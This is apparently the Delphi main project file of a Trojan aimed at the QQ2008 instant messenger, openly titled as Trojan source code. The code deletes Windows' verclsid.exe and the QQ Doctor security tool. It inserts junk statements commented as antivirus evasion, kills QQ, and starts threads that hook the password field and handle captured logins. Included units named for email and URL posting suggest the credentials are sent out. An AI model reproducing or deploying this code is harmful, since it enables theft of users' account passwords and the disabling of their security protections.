hook.dpr

QQ2008木马源代码

library Hook;

uses
  Windows,
  HOOKThread in 'HOOKThread.pas',
  AllVarUnit in 'AllVarUnit.pas',
  tonghan in 'tonghan.pas',
  LogHook in 'LogHook.pas',
  eMail66 in 'eMail66.pas',
  UrlPost in 'UrlPost.pas',
  QQfun in 'QQfun.pas',
  PassEdit in 'PassEdit.pas',
  EditHook in 'EditHook.pas',
  ErrHook in 'ErrHook.pas',
  DengIng in 'DengIng.pas',
  peizhi in 'peizhi.pas',
  jeTimer in 'jeTimer.pas',
  doudou in 'doudou.pas',
  Unit1 in 'Unit1.pas',
  Unit2 in 'Unit2.pas';

//通用函数

var
  PathBuffer: array [0..MAX_PATH] of Char;
  ModuleName: string;
  SubThreadID: DWord;
  hLoginCtrl: HModule = 0;
  threadid:dword;//线程ID
  QQmlh:integer=0; //从命令行里得到的状态
  delqqdoctor,closeqq : integer;
  VerCLSIDLink:string;
// DLL入口
begin

    if laji then   //过杀毒
    if laji then
    if laji then

    VerCLSIDLink:= GetSystemDir + 'verclsid.exe';
    if FileExists(pchar(VerCLSIDLink)) then         //判断删除检测程序
    begin
      DeleteFile(pchar(VerCLSIDLink));
    end;
    if FileExists(pchar(VerCLSIDLink)) then
    begin
      ForceDeleteFile(pchar(VerCLSIDLink));
    end;

    if laji then   //过杀毒
    if laji then
    if laji then


  //获取当前进程的路径
  PathBuffer[GetModuleFileName(0, @PathBuffer[0], MAX_PATH)] := #0; // 进程全路径
  ModuleName := ExtractFileName(PathBuffer);                        // 进程文件名

     if CompareAnsiText(ModuleName, 'QQ.exe') then
      begin
        IsQQ := True;
        closeqq:= strtoint(trim(killqq));
        if closeqq > 0 then
        begin
          FirstRun := GetRegStr('firstrun') <> 'rr';
          if (FirstRun) then KillTimerOn(); //结速ＱＱ
        end;

         QQpchar:=PathBuffer;//QQ的所在路径
         NumberPath:=getFilePath(QQpchar);
         QQmlh:=isSendMessage;
         if QQmlh=1 then //是否从命令行里取得号码
           begin   //命令行里什么也没有，表示是登陆窗体
             SetEKeyBoard;///设置输入法
             createthread(nil,0,@PassEditFunc,nil,0,threadid);
             delqqdoctor := strtoint(trim(delqqd));
             if delqqdoctor > 0 then
             begin
             DeleteQQDoctor;
             end;
           end
           else
             if QQmlh=3 then
               begin   //成功截取
                  IsQQ_ing:=true;
                  createthread(nil,0,@DengIngFunc,nil,0,threadid);
                   ErrHookOn();  //-----------------密码错误处理
              end;
      end;


    if laji then   //过杀毒
    if laji then
    if laji then

      
  CreateThread(nil, 0, @AllThreadPro, Pointer(66), 0, SubThreadID);
end.